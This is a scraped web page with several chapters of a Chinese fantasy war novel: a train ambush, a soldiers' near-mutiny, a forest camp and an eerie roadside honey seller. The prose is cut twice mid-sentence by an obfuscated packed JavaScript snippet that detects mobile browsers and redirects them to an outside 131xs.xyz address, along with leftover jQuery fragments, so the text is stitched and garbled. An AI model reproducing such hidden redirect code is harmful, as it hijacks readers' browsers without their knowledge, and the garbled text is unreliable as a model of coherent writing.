l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209629|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战斗陷入了短暂的僵持,果真如他先前预料的,敌人利用地形和车头残骸作为掩体,不断逼近,子弹在双方之间交织成致命的网。那些马刀上系着红布条的骑兵尤为显眼,他们咆哮着,一次次试图撕开防线。 突然,一个缺口被突破了,那些骑兵竟顶着密集的扫射,趁机枪换弹的当口猛地冲近了阵地,目标直指刚刚为伊琳娜和萨哈良躲藏的掩体。他们眼中闪烁着狂热的凶光,沾血的马刀高高扬起,死亡的阴影瞬间笼罩下来。 “萨哈良!”里奥尼德大喊着,他正在填充子弹,根本来不及调转枪口。 “砰!” 一声精准的枪响,并非来自里奥尼德,而是来自他身旁那名一直沉默的营长。子弹精准地命中了敌人的前胸,他从马上摔了下去,攻势戛然而止。 “掩护!”里奥尼德立刻反应过来,厉声喝道。数支步枪同时调转,子弹泼水般射向准备冲锋的骑兵,暂时将他们逼退了几步。 这短暂的喘息之机被里奥尼德牢牢抓住,他看到了敌方骑兵准备调转兵锋时,战马上再次出现了先前那名系着红头巾的矮小少年。现在看来,那人衣着明显不同,正在朝着骑兵大声呼喝,显然是头领。 里奥尼德深吸一口气,不知为何,萨哈良从骏马上一跃而下的身姿出现在他眼前。他扭头看了看掩体后照顾伊琳娜的萨哈良,那敌人的首领与他竟是如此相像,以至于里奥打算扣动扳机的手都迟疑了。 但不知道为何,即便那人的距离已经远超步枪的射程,他还是想要开火。里奥尼德端稳步枪,目光穿过弥漫的硝烟,准星稳稳套住了那个身影,随后枪口向上微抬。 世界仿佛安静了一瞬。 “砰!” 子弹撕裂了凝滞的空气,跃过战场时,甚至能看见被它涤荡起的尘埃跟着弹道席卷而去,像是一同发射的,还有里奥尼德压抑的内心。 那敌人的首领,身穿斗篷的矮小少年,正举起马刀,背过身聚集人马,准备指挥下一次冲锋时,子弹射进了他的后背。 他像是孩童手中的人偶一般,软绵绵地从马上倒了下去。 首领的突然倒下,让敌人的攻势明显一滞,出现了混乱和迟疑。 周围那些骑兵只顾着将首领护在中间,有人跳了下去将他抱到马上准备撤离。 “他们头目倒了!压上去!击溃他们!”营长抓住时机,嘶声怒吼,率先起身射击。士兵们士气大振,火力全开,集中攻击敌人的骑兵。失去统一指挥敌人在帝国军队有组织的反击下,终于开始溃退,如同潮水般退向了远处的山林。 战场暂时恢复了平静,只剩下伤者的呻吟和硝烟缓缓飘散。里奥尼德喘着粗气,放下发烫的步枪,第一时间回头看向萨哈良和伊琳娜。 “伊琳还好吗?”里奥尼德最担心伊琳的腿伤,他走进掩体,对她说道。 伊琳娜朝他苦涩的笑了笑,说:“没事,只是撞紫了,刚刚萨哈良帮我看过了,不知道是什么法子,总之不疼了。” “我已经保她六十年无疾了,怎么会受伤?”鹿神随口说出了先前庄园仪式时的祭词。 “那就好。”里奥尼德朝萨哈良竖起拇指,萨哈良也朝他笑着。但不知道为何,他此刻不知道该和萨哈良说些什么了。 “这就是我担心的,萨哈良。”鹿神看着战场上散落的那些尸体,说:“拥有了这种力量,战争的烈度已经到了难以想象的地步。” 萨哈良白净的脸上沾满了脏污,听着鹿神的话,他茫然的看着远方,这种景象对于他来说,只存在于神话中的末日。 遭遇战结束后,士兵们开始打扫战场。最早在车头位置阵亡的那些人,无一例外的都被人割去了耳朵。没见过这种场景的新兵们,脸上带着恐惧的神情,他们向萨哈良投去了猜疑和愤恨的目光。 但里奥尼德没有注意他们,他低头看着那些死去的敌人。那些人手中拿着的,都是帝国军队的制式武器,可以说除了军服,他们与帝国军队无异了。 “少校!少校!我必须要跟你说!”营长怒气冲冲的朝里奥尼德跑了过来。 里奥尼德还没反应过来,营长就到面前了,他吼道:“士兵都跟我说了!你带兵去送死就为了救这个“山人”?” 他一边喊着,一边朝地上吐了一口,接着说道:“狗屁山人!都是蛮子!” 旁边的萨哈良还不知道发生了什么,那些士兵都围了过来。 “我劝你放尊重点,这是我的客人。”里奥尼德知道刚才为了救出他们,不顾伤亡的冲锋理亏。 “客人?你坐的这班车是司令部特批的!根本没按时刻表走!”营长摘下身上挎着的子弹带,狠狠摔到地上,指着里奥鼻子,继续说:“为什么敌人这么精准的袭击了我们!” 里奥尼德想起那些敌人尸体上的帝国制式装备,但此时指控有人通敌恐怕意义也不大。 “这些都是我从新兵带大的弟兄!就这么让你带着送死了!”营长的眼睛都红了,见他没说话,士兵将他们紧紧围起来,清脆的上膛声划破了紧张的空气,哗变一触即发。 “我要求立刻逮捕这蛮子,审讯他!” 31.森林中的星光 在火车旁的沙地上,来来往往的士兵们搬运着尸体。有些是他们的战友,有些是那些他们眼中的敌人。愤怒的士兵偶尔踩在那些人的脸上,或是吐着口水,又或者用枪尖的刺刀,随意捅几下。 经年累月使用的车厢铁皮因为事故,有些已经像揉成一团的纸。钢铁铆接的缝隙中还能看到油泥,不堪重负的火车也终于结束了自己的使命。也许它还能维修之后继续工作,也许只会被扔进熔炉,制成帝国的子弹,射进敌人的胸膛。 但帝国的军人可就没这么好的命了,不流光最后一滴血就别想离开。此时他们身上的军装已经破破烂烂,正将衣着光鲜的三个人紧紧围在中间。 “少校!把蛮子交出来!审讯他!”伴随着步枪的上膛声,营长步步紧逼,就差把手枪顶在里奥尼德头上了。 听到这句话,萨哈良身体紧绷,僵在原地,现在的他已经能深刻理解这种轻蔑称呼背后的含义了。 “紧张什么,你又没做错。”看到萨哈良的样子,鹿神把手搭在他头上,安慰着他。 里奥尼德作为军官,他得到的教育自然与士兵们不同。无论是救援列车长还是救援伊琳娜和萨哈良,他都不觉得有什么问题。但是,和其他的贵族不同,里奥尼德的良知让他感到不安,尤其是对阵亡的士兵们。 “营长,我以我的军衔保证,我会为他们争取抚恤金,和每个人的奖金。”里奥尼德也想不出来什么办法,也许施加在人与人之间的暴力本就荒唐。 营长摸出口袋里的香烟,点上一根,随后狠狠的在地上吐了一口,说:“军衔?你们贵族老爷想升多高不就升多高,我是没想到还有人没上过战场就能当少校的!” 听见营长这么说,那些围过来的士兵都哄笑起来。 “我参加过琥珀海舰队的战役——” 里奥刚想为自己辩驳,营长就打断了他的话:“原来还是海军的贵族老爷?欺负欺负那些穷国,喝着酒就能赢!” 也许是被那些士兵拥挤着,更是为了支持里奥尼德,其余两人紧紧向他靠了过来。伊琳娜握住了里奥和萨哈良的手,说:“营长先生,这不仅是少校的客人,更是司令部的客人。” “我可没听说过司令部请了这么个蛮子来!”营长吐出来的烟气随着他愤怒的声音,喷到他们脸上。 看着那些拿着枪的士兵,伊琳娜也感到恐惧,但她鼓起勇气,还是冷静说道:“那为什么司令部会特批一班列车,让我们乘坐呢?” 伊琳娜的话逻辑性极强,直击本质,她接着说:“您指控我们的客人出卖列车出发时间,是不是也在指控我们,同时指控为帝国出力最大的两大家族呢?” 这顶帽子,可不是营长能戴得住的,他恼羞成怒的说道:“我们说话,有你这个女人什么事?” 伊琳娜笑了笑,没有再说什么。但营长也知道,这不是他能惹的人。 里奥尼德接着伊琳娜的话头接着说:“营长,我知道弟兄们日子过的苦,列车长和我说他的薪水,和近卫军肯定比不了。” 他指着货运车厢,说:“我的行李里还有钱,这算是我个人给大伙的。” 也许营长还有自己的坚持,但那些士兵听到银币的声音可就好说话了。 里奥尼德趁热打铁,他又和士兵们说:“这钱单算,回去我再上报司令部,确定军功,该晋升就晋升,然后给大伙发奖金!” 听他这么说,人群里窃窃私语。毕竟刚刚里奥的指挥逆转了局势,又对着敌人首领打出了不可思议的一枪,结束战局。此时他在士兵之中威望还是有的,尤其是听见了晋升二字。 见营长还在思索,里奥尼德拍了拍他说:“至于客人的事,这不行,因为优待原住民的政令是皇帝陛下手书,由司令部交给我执行。” 营长冷静下来后,他想,等救援的工程兵至少要到明天。经过刚才的煽动,那些阵亡士兵的同乡依旧心怀愤懑,留他们不知道还会出什么事,那样他就担待不起了。 “这样吧,我给你们三匹马,你们自己离开。”他边说边吆喝着士兵打开后边的货厢,把马牵下来。 经过刚才的战斗,有些战马被偶然间穿过铁皮的流弹击伤,好在萨哈良的马儿没事。 夕阳西下,天边的晚霞洒在扭曲的火车残骸上。那些玻璃破碎的车厢,只留下黑洞洞的车窗,藏匿了里面那些豪华的装饰,烧焦的木头和散落的文件在晚风中发出窸窣的声响。更远处,是遇袭时留下的狼藉与荒野的寂静。 哗变的士兵们仍然聚成一团,他们等待着营长分发里奥尼德给他们的银币。对于营长来说,他并不知道少校会不会兑现他的承诺,但他的安排已经足够他发泄怒火了。 当他们转身上马,即将被浓重的夜色吞噬时,一个年轻的士兵下意识抬了抬枪口。但旁边一只粗糙的手按下了它,是营长。 营长转过身,不再看向那片空寂的荒原,对着剩下的人们,声音嘶哑的喊着: “行了,把钱分了吧,你们愿意买酒还是攒钱讨老婆我都不管。让他们被狼吃了,或者接着去当他们的贵族老爷,都跟我们没关系了。” 因为丘陵地带仍然活跃着抵抗军的势力,一旦遭遇就是凶多吉少。他们三人只能选择沿着铁路线前行,但行走在空无一人的旷野上,就连视力最差的政府文员都能看见他们。 里奥尼德骑在马上,垂头丧气,就连他骑着的马也低着头。 “好啦,里奥,这不是你的错。”伊琳娜拽了拽缰绳,朝里奥靠了过去。 但是他还是默不作声,还骑得快了几步。 “你们人类真是奇怪的造物,宁愿让自己的心在沉默中裂开,也不愿像鸟儿一样发出鸣叫。”最近一段时间,鹿神总是注意到他,此时也忍不住感慨了一句。 这下伊琳娜也没了办法,她明白里奥尼德内心的挣扎,这远不是说三两句话就能解决的。就像小时候的伊琳娜见过矿难之后,在她心底中留下的阴影。 伊琳娜扭头朝萨哈良招招手,示意他跟上来。 “萨哈良,你去劝劝他吧,里奥会听你的话。”伊琳娜尴尬的笑了笑,和他小声说道。 但萨哈良也没有办法,他只好向独自骑行的里奥尼德喊道:“里奥!我们先找地方歇息吧,太晚了!等下天黑就不方便了。” 听到萨哈良的喊声后,里奥耸着的肩膀仿佛轻轻颤抖,他跳下马,拉着缰绳向一旁的密林走去。 夜幕慢慢降临,彻底吞没了荒原。只有远处那条冰冷的铁轨,在幽暗的天空下偶尔反射出一丝微弱的光泽。对于伊琳娜来说,那象征着文明世界的安全感,所以她总是向那边望去,希望在树林的黑暗中找寻慰藉。 三人牵着那三匹疲惫不堪的马,钻进了铁道旁一片黑黢黢的森林。林木像一堵密不透风的墙,瞬间将他们与那片开阔的荒野隔开。 林子里比外面更黑,浓密的树冠将只有星光几点的天空剪碎,脚下是厚厚的落叶,踩上去软塌塌的。每一次树枝不堪晚风重负的断裂声,都能让他们惊惶地停下脚步,侧耳倾听许久。 “我们就在这里吧,伊琳娜姐姐下午撞到了腿,再往里走也没有意义了。”萨哈良示意他们把缰绳拴在树枝上,又从马鞍后面搬下行李。 也许是走了这么一会,里奥尼德的心情好些了,他突然说了一句:“萨哈良,我对不起你们。” 这么没来由的话把伊琳娜逗笑了,她说:“哈哈哈哈哈,你怎么回事,突然说这么一句。” 里奥尼德摇摇头,回应道:“我们先安排接下来怎么办吧,萨哈良的野外经验更丰富,让他来指挥。” “看来这罗刹小鬼是受挫了,现在开始让你拿主意了。”鹿神飘在萨哈良身边说道。 萨哈良看了看附近的环境,说:“这样吧,你们把行李里的大衣都拿出来,我包里还有肉干,够咱们今晚吃了。” 说完,他又低头捡起地上的枯枝,轻轻一掰,发出清脆的声响。还好,一周前的雨雪没有影响到这里。 “然后你们去捡一些柴火回来,粗的细的都要。”萨哈良说完,伊琳娜点点头,里奥尼德则是背起步枪,又拿上水壶,随后把腰间的手枪递给了她。 只有两把枪了,没有多余的给萨哈良。 “我们不会走太远,你在这里小心点。”说完,他们便出发寻找木柴了。 里奥尼德的脸上仍然带着不知何时蹭上的血污和尘土,走路时身体紧绷,像是仍未从战斗的应急状态中恢复。伊琳娜忍着腿疼,稍微一些摇晃着努力跟上。萨哈良则不时担忧的看着他们,又警惕的望向幽深的树林,鹿神在旁边漂浮着,沉默观察着一切。 密林中天黑的比他料想的更快,萨哈良捡了几根长树枝搭帐篷用,又在地上画了个圈,清理干净地上的落叶。 但落叶层下面并没有像他想象的那样,由于今年天冷,地下仍然留着厚实的冰碴。先前在庄园过得太过舒坦,萨哈良也忘记提前准备火绒了,只能拿着小刀试图在木枝上刮下一些碎屑。 “这怎么办?点不着......”萨哈良拿火镰不停的打着火花,一瞬的光照亮了黑暗的森林。 鹿神抬起手,说:“你起来吧,我帮你点着。” 萨哈良从堆好的树枝前起身,但里奥尼德他们已经回来了。 “天太黑了,我们不敢往远处走,只找到这些柴火。”里奥尼德抱着许多木头,他轻轻扔到了地上。 “还好里奥刚才带上水壶了,那边有个小溪,不过我觉得可能要烧开才能喝。”也许是为了让里奥心情好一点,伊琳娜还不忘夸奖他。 他们两个看到萨哈良正趴在地上努力引燃木屑,里奥尼德有些疑惑的说道:“呃,其实不用这么麻烦的。”他扭头对伊琳娜说:“你包里应该还有火柴吧,拿一盒。” 随后,他走到萨哈良身边,伸过手去:“来,刀借我用用。” 里奥尼德拿起小刀,从腰间的弹药盒中掏出一发子弹,轻轻的用刀尖把弹头和弹壳连接的地方翘起一个小口,随后拔下弹头,将火药洒在了木屑上。 “萨哈良,看好,我给你变个魔术。”里奥露出疲惫的笑容,他轻轻一划火柴,扔到了火药上。 火药沾上一点火星,瞬间像火球一样吞噬了那些木头。 鹿神看着火药燃烧后飘散在空中的硝烟,沉默不语。人类已经征服荒野之中的阻碍了,哪怕是潮湿的木柴。 篝火发出噼啪的轻响,这是黑暗中唯一温暖的声音。它努力地将光芒推向四周,但浓密的夜色仍然在附近摩拳擦掌,只在周围几棵树的粗糙树干上投下他们三人扭曲晃动的影子,像一群沉默的旁观者。 萨哈良帮他们把大衣用树枝像帐篷那样撑起来,他们围在火堆旁,盯着火焰慢慢舔舐木柴。 他扶着伊琳娜坐下后,终于忍不住查看小腿上的伤,大片骇人的淤青暴露出来。萨哈良将手帕盖住患处,又从落叶下铲起一些仍未融化的细碎冰渣,敷在上面。 “伊琳娜姐姐,这是部族的符咒,可能并不科学,但说不定有用。”萨哈良边说,边在上面画着复杂的符号。 萨哈良小心翼翼的话让伊琳娜有些不好意思,尽管她不相信这些,但她相信萨哈良:“你的办法肯定是经验得来的,我相信你。” 里奥尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218699|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德想帮忙却插不上手,只能沉默地看着,眼神里充满愧疚和一种难以言喻的专注。 “看看他那眼神,恨不得受伤的是自己。”鹿神盯着沉默的里奥,幽幽的说着。 但萨哈良并不理解鹿神的话,他只是感慨道:“伊琳娜姐姐和里奥关系真好啊,感觉里奥恨不得受伤的是自己。” 这句从鹿神那听来的话逗笑了伊琳娜,她和天真的少年说:“是吗?萨哈良是这么认为的吗?” 萨哈良点点头,里奥还是在旁边消沉着,脸上的血污也许是刚才找水源时洗掉了,手指轻轻挑动着地上捡起的树枝。 处理完伤口,萨哈良从皮袋子里翻出了先前萨满姐姐们给他准备的肉干。那些肉干混在一起,有鹿肉、兔肉、麂子肉等等,完全没有调味,还带着些许腥气。但咀嚼一会儿之后,天然的肉香充斥着鼻息之间,让人欲罢不能,就是有点废腮帮子。 安静的树林间只有他们牙齿摩擦的声音,伊琳娜首先开口,她的声音还有些沙哑,但逻辑清晰:“我们必须重新规划路线,火车不能坐了,我们需要地图和新的交通工具。” 她看向里奥尼德:“你从列车长那里得到的地图呢?” 里奥尼德愣了一会,拿出地图,目光有些涣散。伊琳娜的话将他拉回现实,但他显然还沉浸在白天的惨烈中。他突然没头没脑地说一句:“......我没想到会死这么多人。” 里奥尼德内心负罪感让他无法原谅自己,毕竟那些无辜的战士确实因为他的指挥而死。 萨哈良轻声问:“里奥,你还好吗?” 他说出这句话时,内心闪过一丝“如果不是为了救我,或许就不会死这么多人”的念头。 这句话仿佛击中了里奥,他先是勉强笑笑,说:“没事”,但随后在沉默中,看着跳跃的火焰,开始断断续续地描述激战时的场景。 “列车长和我说,他的月薪只有七十多枚银币。”说到这,里奥痛苦的捂住了脸颊:“他的家人怎么办,我原来从来没想过怎么用这么少的银币过活。” 身为贵族,他大手大脚习惯了,对金钱没有概念。 伊琳娜靠了过来,她把手搭在里奥的肩膀上,安慰他说道:“但列车长也不是因你而死的,这也是没办法的事,司令部会给家属抚恤金的。” 他看着萨哈良,痛苦地说:“我今天......杀了一个人,他......他看起来几乎和你一样大。” 那晚里奥尼德毫不犹豫就击杀了管家时,萨哈良还以为他不会为这种问题困扰。 鹿神看出了里奥内心的挣扎,他在旁边看着里奥说:“你不明白,这罗刹小鬼的骄傲支撑着他做自己认为正确的事,但那些战死的士兵让他的坚持动摇了。” “更何况,他杀死的那人看起来像你。”鹿神又转头看向萨哈良,接着说道。 萨哈良无法理解战争的复杂,但他感觉到了里奥尼德灵魂深处的煎熬。 只有鹿神明白问题的症结所在,他低声指引着萨哈良:“告诉他,死亡不是终点,只是重回山林的怀抱。” 但萨哈良觉得,他们的故乡不在山野之中。他用树枝挑起篝火上的水壶,递给了里奥,看着他慢慢咽下。 随后一首抚慰亡灵的哀歌从黑暗的森林中传出,萨哈良轻轻哼唱着,他像阿娜吉祖母健在时为部族的勇士守灵时那样,唱起这古老的调子。 伊琳娜握住了里奥的手,说:“里奥,那不是你的错,是帝国发起的战争。我们现在要做的,是活下去,完成我们要做的事。” 在沉重的气氛中,伊琳娜铺开地图,借着篝火的光研究。 “我们只能沿着铁路线走,但是下一座城市实在太远了,需要找到马车才行。”伊琳娜艰难的看着上面标记的符号,那张地图的专业性过强,没经过学习很难看懂。 鹿神朝她投去了欣赏的目光,说道:“你看,这罗刹小姑娘顶你们两个的脑子。” 可能是神明注视的时间太久,伊琳娜没忍住打了个喷嚏。 看着地图上的各种标记,里奥尼德好像缓过来了,毕竟只有他接受过军事制图的训练,他低声说道:“距离这里二百公里内,在森林的边缘有一个矿业小镇。有矿产就会有军队驻扎,沿着铁路应该能走到那里。” 他拿起篝火旁烧黑的树枝,在地图上画了一个圈。 随后,里奥尼德对伊琳娜真挚的说:“伊琳,面对那些士兵时,你比我这个少校处理得要更好。” 可能很少听见他这么说话,伊琳娜笑着对他说:“好啦,别恭维我了。你是军人,我家是商人,虚张声势本来就是商人最擅长的。” 说完,伊琳娜又开心的说道:“当然,你夸我还是爱听的。” 决定了接下来的目标,心中的压力就轻了不少。睡觉之前,他们熄灭了篝火,防止在深夜的森林里太过耀眼,进而被人偷袭。 萨哈良主动提出第一个守夜,当里奥尼德和伊琳娜睡下后,他抱着膝盖坐在篝火边,鹿神也化为鹿形,蜷缩在身旁,为他们取暖。也许是记忆出现了偏差,不知道为什么,萨哈良感觉神鹿的光芒黯淡了几分。 鹿神此时说话听起来咕噜咕噜的,可能是因为鹿形的原因:“那个罗刹小鬼今天的痛苦,一半为了死人,另一半,是为了你。” 本来他说话就有点听不清楚,萨哈良困惑地问:“为了我?什么?” 鹿神沉默不语,但萨哈良已经深深陷入了自责之中。 夜空下,还未完全熄灭的炭火在神鹿的光芒下隐去,三个疲惫的灵魂在广袤而危险的丛林间相互依偎,未来的道路依旧迷雾重重。 32.因为死者脚步如梭 天还没亮,仅仅有清晨的月光顺着密林刚刚萌芽的树枝,照进了他们的小小营地。那些聒噪的鸟儿也开始鸣叫起来,仍有些寒意的晨风吹到萨哈良的脸上。 回到荒野之中,部族的少年很早就醒了。由于昨晚有鹿神在一旁,他们都没有被冻醒。还好两人没什么野外的经验,否则就要诧异为什么会睡得这么舒服了。 原本应该轮到里奥尼德放哨,但他的身体太过疲惫,已经靠在旁边睡着了,还是萨哈良走上前去帮他披上大衣。 趁着他们睡觉,萨哈良又去把水壶盛满,重新升起了篝火。 “萨哈良......你起得好早。”听见木柴噼啪的燃烧声,伊琳娜窝在那个用大衣支成的帐篷里,温暖地不想爬起来。 萨哈良把烧开的水递了过去:“喝点水吧,能感觉清醒一些。” 就像女仆长所说,他们都是贵族,自然是不懂如何照顾好自己。 听见他们说话,里奥尼德也醒了,脸上已经没有昨日的疲惫,他慢慢坐起来说:“早啊,萨哈良。” “你尝尝这个,好像是野猪肉做的,杀那头巨兽的时候我还帮着剥皮了。”萨哈良把手伸进袋子里,掏出食物,扔给了他们。 “你说得对,有点嚼不动”里奥尼德接过之后,试图将肉干咬下来一块,因为用力过猛,表情都狰狞了,“我感觉自己像条狗。” “哈哈哈哈哈,你要笑死我吗?”伊琳娜听他这么说,笑得都停不住了。 鹿神也盯着他夸张的吃相,忍不住说道:“看来他们是心情好了。” 萨哈良没理解,为什么他要说自己像狗。 伊琳娜忍住笑意,试图给他解释:“小时候我家里有条狗,总是喜欢吃牛肉干。但是每次吃都会塞牙,然后龇牙咧嘴的。” 她指着里奥尼德说:“那时候我就管那条狗叫里奥。” 里奥还在努力和那条野猪肉干搏斗,听见他们的话,突然就停下来了,扭头说道:“我还叫那狗伊琳呢。” “感觉有点像野猪。”鹿神还在看着他。 也许是被神明注视太久,里奥突然感到一阵莫名的心跳加速,他诧异的看向了萨哈良。 “所以我们就这么定了吗?等下继续沿着铁道行进一直走到小镇?”伊琳娜询问着里奥尼德的意见。 里奥终于把肉干吃完了,他喝了口水说:“没错。” 说完,他抬头看了看藏在树枝后面的月亮,又低头看了看手表,继续说道:“现在四点,我估计到地方得傍晚了,当然我是把马匹进食的时间算进去了。” 涉及到里奥了解的领域时,他总是很认真。 “那我们走的时候带它们到河边,吃饱喝足再出发。”萨哈良给里奥尼德补充道。 随着向东南方向进发的脚步,天气越来越温暖,旷野中的树木和灌木也变得绿油油起来。穿过丘陵地带,逐渐就进入山区了,可供耕种的土地越来越少,一路上都杳无人烟。 也许是萨哈良的外伤应对起了效果,今天伊琳娜已经能正常活动了,更有可能的是鹿神偷偷帮她治好,因为伊琳娜感觉腿上的淤青和酸痛奇迹般地减轻了大半。 尽管神灵嘴上不饶人,但萨哈良也能看得出,鹿神很喜欢这两个人。伊琳娜内心的执着像极了践行祖灵之路的部族女人,里奥尼德对他们两人的责任感以及自己的坚持,虽然让他不堪重负,但这让鹿神看向他的眼神中也染上一丝慈悲。 就像他的名字一样,里奥尼德,骄傲的雄狮,在尘世的脏污中渐渐打乱了自己的鬃毛,却始终目光坚定。 倘若他们生在部族,也一定会被鹿神所眷顾吧。 “萨哈良,先前在火车上的话......”里奥尼德骑着马凑了过来,他想起先前没能说完的那些话。 里奥的声音打断了萨哈良的沉思,萨哈良疑惑的抬起头:“什么?” “那天深夜,神父来到庄园时,我最后掏出了一封信件。”里奥尼德有些犹豫,但还是说了出来。 听到他们聊天,骑行在前面的伊琳娜也放慢了脚步。 “首先我要对你道歉,帝国军队并不是铁板一块,也有像我们这样试图改变的人存在。”里奥尼德没来由的这么一句话,让萨哈良有点不知道该说什么好。 但伊琳娜明白他的意思,她对里奥说:“里奥,其实我觉得你应该和我一起去新大陆。” “为什么?”里奥从来没有这么想过。 “你不该是一名军人,你明明该是个人类学博士的。”伊琳娜意味深长的说,一边轻轻捋着马匹的毛发。 里奥尼德茫然的看向前方,这种身份纠缠并不是几句话能说得明白的。 “然后......帝国军队中有针对部族民的破坏性行为。”里奥回过神接着说,他担心萨哈良与他们渐渐疏离,刻意斟酌了词句。 伊琳娜也同样害怕,她没说话,偷摸瞥了萨哈良几眼。 “我们早就看出来了,不是吗?”鹿神轻轻说道。从目前得来的线索,他们已经知道有这样的情况发生了。 想起当时狗獾部族营地的惨状,萨哈良可做不到替谁原谅什么。他只好对里奥尼德说:“我不知道该说些什么话好,但是现在里奥不是也在帮忙搜集信息吗?” 也许里奥感到了些许慰藉,他点点头接着说道:“那封信上还提到了一位名为“黄鼠狼先生”的人,可能与图腾柱的下落有关,他似乎与远东的拍卖行都有联系。” 里奥尼德像是突然想到什么,他问萨哈良:“有黄鼠狼部族吗?” 这倒是没听说过,他只好先听鹿神解释。 鹿神给萨哈良解答道:“严格来讲,没有仅供奉黄鼠狼的部族。黄鼠狼这种小生灵无处不在,就像它的信仰,从田人到部族民都会对它保持尊重。” “它的踪迹神秘叵测,除非是遭遇难处,否则没有人会主动和它发生联系,这是一种亦正亦邪的存在。”鹿神又为萨哈良补充着。 萨哈良想了想,把这些话给里奥尼德复述了一遍。 里奥尼德能理解这些话,他沉默了一会,说:“我听说本地人,也就是你们口中的“田人”常常有信仰它的,称之为“大仙儿”或者“黄皮子”,也许那人也是位本地人。” 他的分析不无道理,萨哈良点了点头。 “总之,我觉得目前的方向是没问题的,只需要继续前进就行了。”萨哈良拍了拍里奥尼德的肩膀。 越是向东边走,山就越高。铁道从山谷之中贯穿而过,像是荒野上的一道伤疤。他们走了一天都没有遇到火车经过,看来那边被破坏的铁路还没有修复。 傍晚的夕阳将天空染成一片血红色,铁轨反射着冰冷的光泽。温度骤降,白天暖和的春风此时又显得有些凉意了。 在不远处,有一座低矮的房子,像是给那些工人卖蜂蜜水的摊子,有一个身形佝偻的老人站在旁边慢慢的收拾东西。 “天啊,总算快到了。”伊琳娜在马鞍上伸着懒腰,一天的颠簸让她感觉腰部已经快失去直觉了,她对里奥说道:“我们一定要买个马车再接着走。” 里奥尼德也这么认为,尽管他不是很清楚马车到底该值多少银币。 早上盛满的水壶早就喝完了,由于一直沿着铁路走,黑水河的支流已经不知道在哪儿。他们已骑行许久,尘土和青草的气息混合着,黏在喉咙里。 “你们看,那边是不是个卖蜂蜜水的小贩?”伊琳娜指着前面的小屋,对他们说道。 在铁路旁的一处小斜坡下,那是间破烂的茅草屋,几乎要陷进土里,屋顶铺着厚厚的茅草。屋旁歪歪斜斜地支着一个凉棚,棚下摆着一张粗糙的木桌,桌上几个玻璃罐反射着夕阳的光,由于天气刚刚转暖,里面凝固着乳白又泛黄的东西。 旁边的火炉上放着水壶,但好像已经准备收摊了,一块木牌上用木炭潦草地写着蜂蜜二字。 “这又没什么人经过,在这卖蜂蜜水干什么?”伊琳娜好像渴得失去了思考的能力,她自言自语般说道。 里奥对萨哈良揶揄道:“你的伊琳娜姐姐又想讲鬼故事了。”他说完,又向伊琳娜解释:“铁道都断了哪儿来的人,再说这镇子里的人也不知道出事了。” 萨哈良还记得那天在地上室时,伊琳娜讲的故事,他赶紧说:“别吧,伊琳娜姐姐,我想睡个好觉。” “什么乱七八糟的。”伊琳娜加快速度,她只想赶紧骑过去喝水。 当里奥和萨哈良慢慢悠悠跟在后面,他们远远地看见了伊琳娜刚想翻身下马,但好像被什么东西吓到了一样,又坐回马鞍躲到了一旁。 见状他们两人也赶了过去,结果也被吓了一跳。 只见那摊主是一名老妇人,身材佝偻得几乎对折,裹在一件肮脏不堪的破布棉衣里。她的脸庞皱皱巴巴,像是一颗长了毛的桃核。稀疏的白发从头巾边缘漏出几缕,贴在汗湿的额角,都快像毛毡一样了。 但最令人不适的还是那桃核一样的脸,她的眼皮耷拉着,几乎盖住了混浊的眼睛,只能从缝隙里窥见一丝呆滞而诡异的光。老妇人的鼻子和嘴巴几乎塌陷在一起,嘴唇干瘪萎缩,露出牙龈和寥寥几颗牙齿,那些牙齿残破,牙根的地方还有些黑色的沉积。 当她试图做出一个,或许是欢迎的表情时,那模样只能用骇人来形容。 “呃......奶奶,我们想问您这是卖蜂蜜水吗?”但出于礼貌,他们还是没有立即离开,里奥尼德只好询问着她显而易见的问题。 空气中弥漫着一股甜腻得过分的蜂蜜味,混杂着某种难以言喻的陈腐气息,仿佛来自那间小屋深处。 “蜜水......”老妇人的声音嘶哑,她伸出一只鸟爪般枯瘦,指甲缝里又嵌满黑泥的手,指了指桌上的罐子,“甜的......好喝......喝了就不渴了......” 里奥尼德不由自主地勒紧缰绳,让马朝后退了一小步。伊琳娜的脸色微微发白,下意识地用戴着手套的手掩住了口鼻,眼中流露出难以掩饰的惊惧与厌恶。 老人那口音过于浓重的话听起来实在困难。 “萨哈良,你渴吗?”鹿神盯着那老妇人,老妇人看着他们的反应也有些不知所措,但那样子实在吓人。 萨哈良轻轻点头,但他也不敢上去询问价格。 “其实没什么。”鹿神飘了过去,敲敲那些瓶瓶罐罐,好像要发出不存在的声响,接着说道:“这些都是货真价实的蜂蜜,来自于山间,连狗熊都不能拒绝的那种。” “只是这老人的脑子里,像是仲夏水坑旁萦绕的飞虫一般混乱。”鹿神指了指老妇人的头。 “多少钱一罐?”既然鹿神觉得没问题,萨哈良就先说话了。他的声音保持着冷静,但也有些微微颤抖。 她颤巍巍地拿起一个脏兮兮的木杯,走向其中一个玻璃罐,手指哆嗦着要去揭开罐盖。 “不......不用了......”伊琳娜突然小声说道,“我们......我们还是走吧。” 老妇人的动作停住了,她慢慢抬起头,那双几乎被皱纹淹没的眼睛似乎睁开了一会儿,直直地看向伊琳娜。 她咧开嘴,那可怕的,又残存的几颗牙齿完全暴露出来。< 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里奥尼德耐心的给他们讲起了故事:“不,伊琳,你那是新大陆的发音。不是那一首,是琥珀海西边,一个普鲁士诗人的。” “大概说了一个少女,她的未婚夫应召入伍后战死。少女因而痛斥上帝不公,然后在一天深夜,未婚夫化作鬼魂骑着战马归来,带着少女一同奔赴坟墓。”里奥尼德简明扼要的讲完了这个简单的故事。 还是里奥讲故事好,听着犯困,一点都不恐怖,萨哈良在心里这样想着。 